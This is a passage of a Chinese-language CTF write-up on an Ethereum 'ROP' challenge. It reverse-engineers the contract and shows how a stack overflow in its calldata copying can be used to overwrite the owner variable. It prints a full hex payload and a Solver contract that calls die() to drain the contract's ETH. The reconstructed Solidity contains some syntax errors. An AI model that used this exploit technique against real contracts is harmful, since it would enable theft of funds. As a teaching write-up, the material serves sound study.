uint temp2 = get_stack(2);
assembly {
mstore(temp0+temp2, 0x00)
mstore(mload(0x100), add(temp0, 0x01))
}
}
}
function copy_data() private {
while (get_stack(0) - get_stack(1) != 0) {
uint temp0 = get_stack(0);
uint temp2 = get_stack(2);
uint temp3 = get_stack(3);
assembly {
let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000)
let temp_key := add(temp0, temp2)
mstore8(temp_key, temp_val)
mstore(mload(0x100), add(temp0, 0x01))
}
}
}
function get_stack(uint i) private returns (uint256 value){
//helper M[M[0x100+0x20*i]]
assembly {
let temp := mload(0x100)
let temp2 := sub(temp, mul(0x20, i))
value := mload(temp2)
}
}
:cry:要理解这个函数再干嘛,就需要先理解其中的 copy_data 和 pad_data 在干什么。以及调用这个函数前的堆栈的结构是怎样的。
0x00 | 0x200 | get_stack(0) |
---|---|---|
size-0x44 | 0x1e0 | get_stack(1) |
0x0120 | 0x1c0 | get_stack(2) |
0x90000 | 0x1a0 | get_stack(3) |
return pointer | 0x180 | get_stack(4) |
stack frme 0x7909947a() | 0x160 | get_stack(5) |
0x00 | 0x140 | get_stack(6) |
0x00 | 0x120 | get_stack(7) |
copydata 的作用是,逐个字节的从内存位置 90000 处拷贝数据到栈底处,因为栈底保留了 0x40 个字节的空位给它。
paddata 的作用是,给 copyadata 后,0x120 后拷贝的部份数据尾巴长度不足 0x40 的部分给他填 0。比如如果是数据尾巴在 0x36,则再补充 4 个字节的 0 补齐到 0x40, 如果是 0x76,则也是补齐 4 个字节的 0 到 0x80.
则该函数的主要作用是把数据拷贝到栈底处,并规范格式。然后退出。
由于基本上所有函数都逆向出来了,现在我们可以整理下整个合约,看下整体的合约逻辑
pragma solidity ^0.5.0;
contract ROP {
address _get;
address _die;
constructor(address get_, address die_) public payable {
_get = get_;
_die = die_;
}
function die() public payable {
require(msg.sender == _die);
selfdestruct(_die);
}
function get() public {
require(msg.sender != _get);
return _get;
}
function() public payable {
revert();
}
modifier nonPayable() {
require(msg.value == 0);
_;
}
function push_stack_frame() private {
uint256 value;
assembly{
value := mload(0x100)
}
push_stack(value)
}
function push_stack(uint256 value) private {
uint temp;
assembly{
temp := mload(0x100)
mstore(add(temp, 0x20), value)
mstore(0x100, add(temp, 0x20))
}
}
function set_impl() private{
uint temp0;
uint temp1
assembly{
temp0 := mload(0x100) //M[100]
temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
sstore(mload(temp0), temp1)
}
pop_stack();
pop_stack();
pop_stack_frame();
}
function pop_stack_frame() private {
int redirectTo;
int pointer;
redirectTo = pop_stack();
pointer = pop_stack();
newStackPointer(pointer);
// assembly {
// jump(redirectTo)
// }
return;
}
function stack_pointer_init() private {
assembly{
mstore(0x100, 0x100)
}
}
function pad_data() private {
while (get_stack(0) % 0x40 != 0) {
uint temp0 = get_stack(0);
uint temp2 = get_stack(2);
assembly {
mstore(temp0+temp2, 0x00)
mstore(mload(0x100), add(temp0, 0x01))
}
}
}
function copy_data() private {
while (get_stack(0) - get_stack(1) != 0) {
uint temp0 = get_stack(0);
uint temp2 = get_stack(2);
uint temp3 = get_stack(3);
assembly {
let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000)
let temp_key := add(temp0, temp2)
mstore8(temp_key, temp_val)
mstore(mload(0x100), add(temp0, 0x01))
}
}
}
function get_stack(uint i) private returns (uint256 value){
//helper M[M[0x100+0x20*i]]
assembly {
let temp := mload(0x100)
let temp2 := sub(temp, mul(0x20, i))
value := mload(temp2)
}
}
function 0x7909947a_impl() private {
push_stack(0x0);
copy_data();
uint temp = get_stack(0) + get_stack(2);
assembly{
mstore(temp, 0x00)
}
pad_data();
pop_stack();
pop_stack();
pop_stack();
pop_stack();
pop_stack_frame();
}
function set(uint256 value) public nonPayable{
push_stack_frame();
uint redirectTo = 0x344;
push_stack(redirectTo);
uint256 newStackPointer;
assembly{
newStackPointer := calldataload(0x04)
}
push_stack(newStackPointer);
push_stack(0x00);
set_impl();
}
function 0x7909947a() public {
stack_pointer_init();
push_stack(0x0);
uint topPointer;
assembly{
topPointer := mload(0x100)
}
push_stack(0x0);
uint size;
assembly {
size := calldatasize()
calldatacopy(0x90000, 0x44, size)
}
push_stack_frame();
uint return_pointer = 0x29b;
push_stack(return_pointer);
push_stack(0x90000);
push_stack(topPointer);
push_stack(size-0x44);
0x7909947a_impl();
}
}
合约逆向出来了,但是我们的问题还是存在,如何从合约中拿到它所有的 ETH 呢?
思路很直接,肯定是利用 die 函数,但是 die 函数要求msg.sender == die_
, 因此需要重写全局变量die_
的值。又发现唯一一个能写全局变量的值的函数是set_impl()
.分析set_impl()
函数,其实质是将get_stack(1)
的值写入get_stack(0)
处。故我们需要构造一个 stack,使得get_stack(0)==0x20 & get_stack(1) == tx.origin
以及为了使用pop_stack_frame()
函数,需要保证一个返回位点位于get_stack(3)==return gadget
同时我们再之前的逆向过程中,也发现我们能够利用的唯有0x7909967a
函数,传入 data,然后再内部调用0x7909947a_impl()
函数来利用栈溢出这一 bug 来重写栈。从而重新定义执行逻辑。由于再0x7909947a_impl()
函数中,拷贝数据的逻辑由copydata
确定。故我们需要根据copydata
的逻辑来构造我们的 data 数据。
0x260 | 0x20 | |
---|---|---|
0x240 | address(msg.sender) | |
0x220 | return point (0x344) | |
0x00 | 0x200 | 0xff (当前拷贝的值的位置,offset) |
size-0x44 | 0x1e0 | 0x0140 |
0x0120 | 0x1c0 | 0x0120 |
0x90000 | 0x1a0 | 0x090000 |
return pointer | 0x180 | 0x2ea |
stack frame 0x7909947a() | 0x160 | 0x90140 |
0x00 | 0x140 | 0x00000000.. |
0x00 | 0x120 | 0x00000000.. |
构造这个 stack 时,需要仔细理解 copydata 的逻辑,它是逐个字节的从内存位置 90000 处拷贝数据到栈底处,因为栈底保留了 0x40 个字节的空位给它。由于最开始开始拷贝的时候,get_stack(0) = 0x00, 故他会从我们构造好的栈底开始拷贝数据到 0x120 中,一直拷贝,知道 get_stack(0)处,由于这个位置的数据代表的就是当前拷贝的数据数量,故拷贝值到这个位置时,需要与正确的拷贝数据值相吻合,故计算得出此时已有 8 个字节的数据拷贝进入,故此处应该是 0xff.
第二个关键点是:我构造了栈,但是怎么保证栈顶的指针指向正确呢?也是再 copydata 中定义了,mstore(mload(0x100), add(temp0, 0x01))
这句话就在不断地更新栈顶的指针,从而使得我们构造的栈也是可以正确使用的。
function copy_data() private {
while (get_stack(0) - get_stack(1) != 0) {
uint temp0 = get_stack(0);
uint temp2 = get_stack(2);
uint temp3 = get_stack(3);
assembly {
let temp_val := div(mload(temp0+temp3), 0x0100000000000000000000000000000000000000000000000000000000000000)
let temp_key := add(temp0, temp2)
mstore8(temp_key, temp_val)
mstore(mload(0x100), add(temp0, 0x01))
}
}
}
所以构造的数据为:此时还需要加上前面被略去的 0x44 个字节
7909947a
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000 => 0x120
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000090140
00000000000000000000000000000000000000000000000000000000000002ea
0000000000000000000000000000000000000000000000000000000000090000
0000000000000000000000000000000000000000000000000000000000000120
0000000000000000000000000000000000000000000000000000000000000140
00000000000000000000000000000000000000000000000000000000000000ff
0000000000000000000000000000000000000000000000000000000000000344
0000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D938
0000000000000000000000000000000000000000000000000000000000000020 => 0x260
好的,我们再验证一下这个数据是否能够按照我们设想的那样工作:
function 0x7909947a_impl() private {
push_stack(0x0);
copy_data();
uint temp = get_stack(0) + get_stack(2);
assembly{
mstore(temp, 0x00)
}
pad_data();
pop_stack();
pop_stack();
pop_stack();
pop_stack();
pop_stack_frame();
}
经过 copydata, 之后跳过 pad_data 部分,弹出 4 个,进入到pop_stack_frame()
中,此时的栈结构为:
size-0x44 | 0x1e0 | 0x0140 |
---|---|---|
0x0120 | 0x1c0 | 0x0120 |
0x90000 | 0x1a0 | 0x090000 |
return pointer | 0x180 | 0x2ea |
stack frame 0x7909947a() | 0x160 | 0x90140 |
0x00 | 0x140 | 0x00000000.. |
0x00 | 0x120 | 0x00000000.. |
然后再经过pop_stack_frame()
后,栈的结构变为:
function pop_stack_frame() private {
int redirectTo;
int pointer;
redirectTo = pop_stack();
pointer = pop_stack();
newStackPointer(pointer);
assembly {
jump(redirectTo)
}
//return;
}
get_stack(0) | 90140 | 0x20 |
---|---|---|
get_stack(1) | 90120 | address(msg.sender) |
get_stack(2) | 90100 | return point (0x344) |
同时函数跳转到 0x2ea 位置处,即set_impl()
处,此刻即构造成功了我们需要的栈。
function set_impl() private{
uint temp0;
uint temp1
assembly{
temp0 := mload(0x100) //M[100]
temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
sstore(mload(temp0), temp1)
}
pop_stack();
pop_stack();
pop_stack_frame();
}
由此,我们最后的解决方案如下:
//data = 0x7909947a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009014000000000000000000000000000000000000000000000000000000000000002ea00000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000ff00000000000000000000000000000000000000000000000000000000000003440000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D9380000000000000000000000000000000000000000000000000000000000000020
pragma solidity ^0.5.0;
contract Target {
function get()public returns (address) ;
function set(uint a) public;
function die() public;
}
contract Solver {
constructor(bytes memory data) public payable {
(bool result, ) = address(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).call(data);
require(result);
Target(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).die();
require(address(this).balance > 0);
selfdestruct(msg.sender);
}
}
我正在找区块链相关的工作,欢迎联系(微信号:woodward1993)
[1]
以太坊沙盒: https://learnblockchain.cn/article/2625
[2]
上篇文章: https://learnblockchain.cn/article/2625
[3]
0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87: https://ethstats.io/account/0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87